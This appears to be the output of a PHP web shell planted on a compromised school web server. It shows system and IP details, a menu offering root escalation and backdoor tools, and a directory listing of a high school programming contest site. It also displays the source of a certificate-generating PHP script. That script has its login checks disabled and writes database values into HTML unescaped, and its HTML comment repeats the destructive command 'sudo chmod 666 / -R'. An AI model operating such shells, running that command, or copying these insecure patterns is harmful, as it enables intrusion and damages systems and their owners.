Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
Delete
Unzip
Name
Size
Permission
Date
Action
.vscode
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
.well-known
[ DIR ]
drwxrwxr-x
2024-08-29 11:22
DirectEdit-master
[ DIR ]
drwxrwxr-x
2024-08-29 23:14
admin
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
answer
[ DIR ]
drwxr-xr-x
2024-08-28 22:37
api
[ DIR ]
drwxrwxr-x
2025-04-07 13:23
article
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
auth
[ DIR ]
drwxr-xr-x
2024-08-28 00:03
discord
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
discord-bot
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
example
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
img
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
judge
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
problems
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
programming_practice
[ DIR ]
drwxrwxrwx
2026-06-18 21:35
s2
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
submit
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
testimonial
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
MathJax.js
62.04
KB
-rwxr-xr-x
2024-08-27 23:20
answer.html
4.06
KB
-rwxr-xr-x
2024-08-28 00:23
answer.php
4.47
KB
-rwxr-xr-x
2024-08-28 22:38
code.css
475
B
-rwxr-xr-x
2024-08-27 23:20
css.css
2.75
KB
-rwxr-xr-x
2024-08-27 23:20
database.py
4.16
KB
-rwxr-xr-x
2024-08-27 23:20
database2.py
731
B
-rwxr-xr-x
2024-08-27 23:20
default.html
3.3
KB
-rwxr-xr-x
2024-08-28 00:23
default.php
3.82
KB
-rwxr-xr-x
2024-08-28 00:23
detail.php
5.75
KB
-rwxr-xr-x
2024-08-28 00:23
detail2.php
5.79
KB
-rwxr-xr-x
2024-08-28 00:23
fuck.txt
488.29
KB
-rw-r--r--
2024-08-27 23:20
icon.jpg
285.53
KB
-rwxr-xr-x
2024-08-27 23:20
icon.png
285.53
KB
-rwxr-xr-x
2024-08-27 23:20
index.php
9.17
KB
-rwxr-xr-x
2024-08-28 00:22
index2.html
5.91
KB
-rwxr-xr-x
2024-08-28 00:23
judge.php
3.8
KB
-rwxr-xr-x
2024-08-28 00:23
judge.php.save
3.74
KB
-rwxr-xr-x
2024-08-28 00:23
judge.py
4.76
KB
-rwxr-xr-x
2024-08-27 23:20
output.html
1.16
KB
-rwxr-xr-x
2024-08-27 23:20
prism.css
6.22
KB
-rwxr-xr-x
2024-08-27 23:20
prism.js
49.16
KB
-rwxr-xr-x
2024-08-27 23:20
problems.html
4.56
KB
-rwxr-xr-x
2024-08-28 00:23
problems.php
5.6
KB
-rwxr-xr-x
2024-08-28 00:23
rank.php
3.93
KB
-rwxr-xr-x
2024-08-28 00:23
submit.html
4.35
KB
-rwxr-xr-x
2024-08-28 00:23
submit2.php
5.03
KB
-rwxr-xr-x
2024-08-27 23:20
t.php
3.22
KB
-rw-r--r--
2024-08-27 23:20
test-1.php
1.29
KB
-rwxr-xr-x
2024-08-29 23:28
test.php
171
B
-rwxr-xr-x
2024-08-28 00:19
test2.html
445
B
-rwxr-xr-x
2024-08-27 23:20
testimonial.php
4.34
KB
-rwxr-xr-x
2024-08-28 00:23
testimonial_gene.php
18.02
KB
-rwxr-xr-x
2024-08-29 23:28
typescript
2.09
KB
-rwxr-xr-x
2024-08-27 23:20
Save
Rename
<?php //header('Content-Type: text/html; charset=utf-8'); /* session_start(); */ require_once '/var/www/html/kougakubu/htdocs/auth/database.php'; $error_massage=""; function hash_tag($comments){ $out2=""; for($p=0;$p<mb_strlen($comments);$p++){ if($comments[$p]=='#'){ $link = '<a href="./detail2.php?id=%submittion_id%">#%submittion_id%</a>'; $id = substr($comments,$p+1,6); $link = str_replace('%submittion_id%',$id,$link); $out2.=$link; $p+=6; } else{ $out2.=$comments[$p]; } } return $out2; } // $natural_time = "1 day, hh:mm:ss" or "2 days, hh:mm:ss" or "hh:mm:ss" function time_converter($natual_time){ $time_array = explode(", ",$natual_time); // array type if(count($time_array)==1){ return $natual_time; } else{ $hours = char_int($time_array[0][0])*24; if(count($time_array[1])==7){ $res = char_int($time_array[1][0])+$hours; return "0".$res.":".substr($time_array[1],2); } else{ $res = char_int($time_array[1][0])*10+char_int($time_array[1][1])+$hours; return $res.":".substr($time_array[1],3); } } } function first_AC_decode($data){ $res=""; for($k=0;$k<10;$k++){ if($data[$k]=="o"){ $res.=chr(65+$k); } else{ $res.=" "; } } return $res; } function char_int($S){ return ord($S) - 48; } // A=65 0=48 function pena_str_int($S){ $problem_num = 11; $res = [ 'A'=>0, 'B'=>0, 'C'=>0, 'D'=>0, 'E'=>0, 'F'=>0, 'G'=>0, 'H'=>0, 'I'=>0, 'J'=>0, 'K'=>0 ]; $key=65; for($i = 0;$i<$problem_num;$i++){ $sum_pena = char_int($S[$i*3])*100+char_int($S[$i*3+1])*10+char_int($S[$i*3+2]); if($sum_pena!=0){ $res[chr($key)]=char_int($S[$i*3])*100+char_int($S[$i*3+1])*10+char_int($S[$i*3+2]); } else{ $res[chr($key)]=""; } $key++; } return $res; } function rank_show($name){ require_once '/var/www/html/kougakubu/htdocs/auth/database.php'; $pdo = getPdo(); $comment = '<table border="0.5px" width="100%" style="text-align: center;"><tr><th width="6%">RANK</th><th width="15%">USER NAME</th><th width="6%">POINT</th><th width="8%">TIME</th><th width="8%">PENALTY</th><th width="5.7%">A</th><th width="5.7%">B</th><th width="5.7%">C</th><th width="5.7%">D</th><th width="5.7%">E</th><th width="5.7%">F</th><th width="5.7%">G</th><th width="5.7%">H</th><th width="5.7%">I</th><th width="5.7%">J</th></tr>'; // user_name,point,time,pena,pena_problem,AC_status を取得。 LIMIT: 表示制限 $sql = "SELECT user_name,point,time,pena,pena_problem,AC_status FROM akisai_backup.rank ORDER BY point DESC, time_seconds ASC;"; $stmt = $pdo -> query($sql); $result = $stmt->fetchAll(PDO::FETCH_BOTH); for($j=0;$j<count($result);$j++){ $pena_problem = pena_str_int($result[$j]['pena_problem']); $comment2 = '<tr style="background-color: %color%;"><td>'.($j+1)."</td><td>".$result[$j]['user_name']."</td><td>".$result[$j]['point']."</td><td>".time_converter($result[$j]['time'])."</td><td>".$result[$j]['pena']; $comment2 = $comment2 . "</td><td>".$result[$j]['AC_status'][0]." / ".$pena_problem['A']."</td><td>" . $result[$j]['AC_status'][1]." / ".$pena_problem['B']."</td><td>".$result[$j]['AC_status'][2]." / ".$pena_problem['C']."</td><td>" .$result[$j]['AC_status'][3]." / ".$pena_problem['D']."</td><td>" .$result[$j]['AC_status'][4]." / ".$pena_problem['E'] . "</td><td>".$result[$j]['AC_status'][5]." / ".$pena_problem['F']."</td><td>".$result[$j]['AC_status'][6]." / ".$pena_problem['G']. "</td><td>".$result[$j]['AC_status'][7]." / ".$pena_problem['H']."</td><td>".$result[$j]['AC_status'][8]." / ".$pena_problem['I']. "</td><td>".$result[$j]['AC_status'][9]." / ".$pena_problem['J']. "</td></tr>"; $comment .= str_replace("%color%",$name==$result[$j]['user_name']?"pink":"white",$comment2); } return $comment."</table>"; // ログインユーザーは自分の成績を表示。 } //$lang = "_lang" function first_AC_rank_show($option,$user_name_got){ require_once "/var/www/html/kougakubu/htdocs/auth/database.php"; $pdo2 = getPdo(); $sql = "SELECT user_name,submittion_time FROM akisai_backup.first_AC".$option.";"; $stmt = $pdo2 -> query($sql); $result3 = $stmt->fetchAll(PDO::FETCH_BOTH); $comment3 = '<tr><td>'.substr($option,1).'</td>'; for($l=0;$l<10;$l++){ $comment3.=str_replace('%color%',$result3[$l]['user_name']==$user_name_got?"pink":"white",('<td style="background-color: %color%">'.$result3[$l]['user_name']."<br>".time_converter($result3[$l]['submittion_time'])."</td>")); } return $comment3."</tr>"; } // User Autholizzation $user_name_got = $_GET['name']; $pdo = getPdo(); $sql = 'SELECT ip,session_id FROM akisai.session WHERE name = :name'; $stmt = $pdo -> prepare($sql); $stmt -> bindValue(':name',$user_name_got,\PDO::PARAM_STR); $stmt -> execute(); $result = $stmt -> fetchAll(PDO::FETCH_BOTH); if (false&&empty($result)){ $error_massage.='ログインしていないか、不正なユーザー名です。ログインし、ホームページのリンクより再度試してください。'; } elseif(false&&empty($_SESSION)){ $error_massage.='ログインしてください。'; } //||strcmp($_SESSION['name'],"admin")==0 or strcmp($_SESSION['name'],"TsuruNoTsurugi")==0 elseif (($result[1]['ip']==$_SERVER['REMOTE_ADDR'])){ $out='<h1 style="text-align: center;">CERTIFICATE OF COMMENDATION</h1>'; $remote_ip = $_SERVER['REMOTE_ADDR']; $pdo = getPdo_backup(); $sql='SELECT submittion_id,submittion_time,user_name,problem,language,judge_status,process_time FROM akisai_backup.submit WHERE user_name = :user_name ORDER BY submittion_id DESC'; $stmt = $pdo -> prepare($sql); $stmt -> bindValue(':user_name',$user_name_got,\PDO::PARAM_STR); $stmt -> execute(); $result = $stmt -> fetchAll(PDO::FETCH_BOTH); require_once '/usr/share/php/tcpdf/tcpdf.php'; $pdf = new TCPDF('R','mm','A4','true','UTF-8',false); $pdf->SetCreator(PDF_CREATOR); $pdf->SetAuthor('TsuruNoTsurugi, Head of Shizuoka High School Engineering Club'); $pdf->SetTitle('CERTIFICATE OF COMMENDATION'); $pdf->SetSubject('卬高杯'); $pdf->SetKeywords(''); $pdf->setPrintHeader(true); $pdf->setPrintFooter(true); $pdf->setAutoPageBreak(true, 50.0); $pdf->setMargins(5, 20.0, 5); $pdf->setHeaderMargin(5.0); $pdf->setFooterMargin(5); $pdf->setHeaderFont(Array('kozgopromedium', '', 10.5)); $pdf->setHeaderData(PDF_HEADER_LOGO,30.0,"CERTIFICATE","静岡高校工学部(https://kougakubu.tsuru-no-tsurugi.tokyo)"); //$pdf->SetFont('ipaexg','',8); $pdf->SetFont('ipaexm','',8); $pdf->SetDefaultMonospacedFont('firacode'); $submit_size = sizeof($result); $sub_userinfo = '<table> <tr><td>User name: </td><td>%user_name%</td><td>First AC: </td><td><pre>%first_AC%</pre></td></tr> <tr><td>Rank: </td><td>%rank%</td><td>First AC in cpp: </td><td><pre>%first_AC_cpp%</pre></td></tr> <tr><td>Point: </td><td>%point%</td><td>First AC in Python: </td><td><pre>%first_AC_python%</pre></td></tr> <tr><td>Time (including penalty): </td><td>%time%</td><td>Language ratio(cpp/python): </td><td>%language_ratio%</td></tr> <tr><td>Penalty: </td><td>%pena%</td><td>Average Bytes(cpp/python): </td><td>%ave_bytes%</td></tr></table> %AC_table%<p align="right">o: AC, -: none AC / number: number of penalty</p>'; //$sub_userinfo = '<p>User name: %user_name%</p><p>Rank: %rank% th</p><p>Point: %point%</p><p>Time (including penalty): %time%</p><p>Penalty: %pena%</p>%AC_table%<p align="right">o: AC, -: none AC / number: number of penalty</p>'; $sql="SELECT point,time,pena,pena_problem,AC_status,rank,first_AC,first_AC_cpp,first_AC_python,comment FROM akisai_backup.rank WHERE user_name = :user_name"; $stmt = $pdo -> prepare($sql); $stmt -> bindValue(':user_name',$user_name_got,\PDO::PARAM_STR); $stmt -> execute(); $result2 = $stmt -> fetchAll(PDO::FETCH_BOTH); $sub_userinfo = str_replace('%user_name%',$user_name_got,$sub_userinfo); $sub_userinfo = str_replace('%rank%',$result2[0]['rank'],$sub_userinfo); $sub_userinfo = str_replace('%point%',$result2[0]['point'],$sub_userinfo); $sub_userinfo = str_replace('%time%',time_converter($result2[0]['time']),$sub_userinfo); $sub_userinfo = str_replace('%pena%',$result2[0]['pena']." ( ".($result2[0]['pena']*5).'min. ) ',$sub_userinfo); $sub_userinfo = str_replace('%first_AC%',first_AC_decode($result2[0]['first_AC']),$sub_userinfo); $sub_userinfo = str_replace('%first_AC_cpp%',first_AC_decode($result2[0]['first_AC_cpp']),$sub_userinfo); $sub_userinfo = str_replace('%first_AC_python%',first_AC_decode($result2[0]['first_AC_python']),$sub_userinfo); $pena_problem = pena_str_int($result2[0]['pena_problem']); $AC_table = '<br><hr><table border="0.5px" style="text-align: center;"><tr><th>A</th><th>B</th><th>C</th><th>D</th><th>E</th><th>F</th><th>G</th><th>H</th><th>I</th><th>J</th></tr>'."<tr><td>".$result2[0]['AC_status'][0]." / ".$pena_problem['A']."</td><td>" . $result2[0]['AC_status'][1]." / ".$pena_problem['B']."</td><td>".$result2[0]['AC_status'][2]." / ".$pena_problem['C']."</td><td>" .$result2[0]['AC_status'][3]." / ".$pena_problem['D']."</td><td>" .$result2[0]['AC_status'][4]." / ".$pena_problem['E'] . "</td><td>".$result2[0]['AC_status'][5]." / ".$pena_problem['F']."</td><td>".$result2[0]['AC_status'][6]." / ".$pena_problem['G']. "</td><td>".$result2[0]['AC_status'][7]." / ".$pena_problem['H']."</td><td>".$result2[0]['AC_status'][8]." / ".$pena_problem['I']. "</td><td>".$result2[0]['AC_status'][9]." / ".$pena_problem['J']. "</td></tr></table>"; $sub_userinfo = str_replace('%AC_table%',$AC_table,$sub_userinfo); //$out.=$sub_userinfo; $out3=""; $out3.=' <hr><p>Submittion Information</p><table border="0.5px" style="text-align:center"><tr><th width="15%">Submittion ID</th><th width="22%">Timestump<br>(UTC +0)</th><th width="15%">Your User Name</th><th width="10%">Problem</th><th width="10%">Language</th><th width="10%">Judge</th><th width="9%">Execution Time</th><th width="9%">Bytes</th></tr>'; $pdf ->AddPage(); $language_cpp=0;$language_python=0;$all_bytes_cpp=0;$all_bytes_python=0; for($i=0;$i<$submit_size;$i++){ //$pdf ->AddPage(); $lang = $result[$i]['language']; ($lang=="cpp"?($language_cpp++):($language_python++)); $bytes=strlen(file_get_contents('/var/www/submit2/'.$result[$i]['submittion_id'].'/a.'.($lang=="cpp"?"cpp":"py"))); ($lang=="cpp"?($all_bytes_cpp+=$bytes):($all_bytes_python+=$bytes)); $subtable = '<tr><td><a href="/detail2.php?id=%submittion_id%">%submittion_id%</a></td><td>%submit_timestump%</td><td>%user_name%</td><td>%problem%</td><td>%lang%</td><td style="background-color:%color%">%judge%</td><td>%progress%</td><td>%Bytes%</td></tr>'; $subtable = str_replace('%submittion_id%',$result[$i]['submittion_id'],$subtable); //15 $subtable = str_replace('%submit_timestump%',$result[$i]['submittion_time'],$subtable); //22 $subtable = str_replace('%user_name%',$result[$i]['user_name'],$subtable); //15 $subtable = str_replace('%problem%',$result[$i]['problem'],$subtable);//10 $subtable = str_replace('%lang%',$lang,$subtable);//10 $subtable = str_replace('%judge%',$result[$i]['judge_status'],$subtable);//10 $subtable = str_replace('%color%',$result[$i]['judge_status']=='AC'?"darkseagreen":'yellow',$subtable); $subtable = str_replace('%progress%',$result[$i]['process_time'],$subtable);//8 $subtable = str_replace('%Bytes%',$bytes,$subtable);//10 $html = <<<EOF %submit_table% EOF; //$html2 = str_replace('%source_code%',htmlspecialchars(file_get_contents('/var/www/submit/'.$result[$i]['submittion_id'].'/'.($lang=='cpp'?'a.cpp':'a.py'))),$html); $html2 = str_replace('%submit_table%',$subtable,$html); //$pdf ->writeHTML($html2,true,false,true,false,''); //echo $html2; $out3.=$html2; } $out3.='<tr style="background-color: pink"><td>Contest starts at</td><td>2023-10-24 07:00:00</td></tr></table>'; $sub_userinfo = str_replace('%ave_bytes%',($language_cpp==0?"None":round($all_bytes_cpp/$language_cpp,1)).' / '.($language_python==0?"None":round($all_bytes_python/$language_python,1)),$sub_userinfo); $sub_userinfo = str_replace('%language_ratio%',round($language_cpp*100/$submit_size,1,PHP_ROUND_HALF_EVEN).' % / '.round($language_python*100/$submit_size,1,PHP_ROUND_HALF_EVEN).' %',$sub_userinfo); $out.=$sub_userinfo; $out.=$out3; $out.=('<p>Comment</p>'.hash_tag($result2[0]['comment'])); $pdf ->writeHTML($out,true,false,true,false,''); $pdf->addpage(); $out="<p>Ranking</p>"; $out.=rank_show($user_name_got); $out.=('<br><hr><p>First AC</p><table border="0.5px" style="text-align: center"><tr><th>LANG</th><th>A</th><th>B</th><th>C</th><th>D</th><th>E</th><th>F</th><th>G</th><th>H</th><th>I</th><th>J</th></tr>'. first_AC_rank_show("",$user_name_got).first_AC_rank_show("_cpp",$user_name_got).first_AC_rank_show("_python",$user_name_got)."</table>"); $out.=('<br><hr><p>感謝</p><p>静岡高校工学部の秋祭行事「卬高杯」(こうこうはい)にご参加いただきありがとうございました。初回の開催ということもあり、なかなか手が回らないところがありました。特に、D問題のジャッジやJ問題のテストケースの間違いなどがあり大変ご迷惑をおかけいたしました。すみません。</p><p>第二回「卬高杯」(おそらく来年5月の学園祭)も計画しております。ぜひ、今後ともよろしくお願いいたします。</p><p style="text-align: right">部長・企画者・運営・管理人 TsuruNoTsurugi</p>'); //$pdf->SetFont('firacode',"",8); $pdf ->writeHTML($out,true,false,true,false,''); ob_end_clean(); $pdf ->Output('./test.pdf','I'); //echo $out; } else{ $error_massage.='不正なアクセス(?)です。やり直してください。'; } //echo $out; ?> <?php // セッション変数 $_SESSION["loggedin"]を確認。ログイン済だったらウェルカムページへリダイレクト /*if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){ header("location: auth/login.php"); exit; } // admin or TsuruNoTsurugiのみ通す。それ以外はeixt if(!(strcmp($_SESSION['name'],"admin")==0 or strcmp($_SESSION['name'],"TsuruNoTsurugi")==0)){ exit("This page is only for admin user. Please login as admin user"); }*/ ?> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>秋祭 | 工学部</title> <link rel="icon" type="image/png" href="./icon.png"> <link rel="stylesheet" type="text/css" href="./css.css"> </head> <body style="background-color: #f9f9f9;"> <header> <a href="/index.php"><img src="/icon.png" class="gaming" height="35px"></a><a> </a> <a class="a-none-color" href="../index.php">秋祭 | 静岡高校工学部</a> <nav class="nav"> <ul class="menu-group"> <li class="menu-item"><a href="/index.php">ホーム</a></li> <li class="menu-item"><a href="/problems.php">問題</a></li> <li class="menu-item"><a href="/s2/submit.php">提出</a></li> <li class="menu-item"><a href="/judge.php">判定</a></li> <li class="menu-item"><a href="/s2/Codetest/index.php">コードテスト</a></li> <li class="menu-item"><a href="/rank.php">順位</a></li> <li class="menu-item"><a href="/answer.php">解説</a></li> | <?php if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){ //$script_name = $_SERVER['SCRIPT_NAME']; echo '<li class="menu-item"><a href="auth/login.php">ログイン</a></li>'; //header("location: auth/login.php"); } else{ echo '<li class="menu-item"><a href="auth/logout.php">ログアウト</a></li>'; } ?> | <?php echo $_SESSION['name']; ?> </ul> </nav> </header><hr> <br><br> <p class="center" style="font-family:serif;font-size: 40px;text-shadow: #e23b44 2px 2px 3px;">卬高杯</p> <!-- おっきなお友達のみんなえ お前らが打ち込んでいる虚無には 何の意味があるの? ねぇ 教えてよ うい ぜんぜぇーんわからないんだ! ―しぐれうい sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R --> <div class="gap"> <h2>エラー表示</h2> <hr> <p><?php echo $error_massage?></p> </div> <footer> <p>© 静岡高校工学部 2023</p> </footer> </body> </html>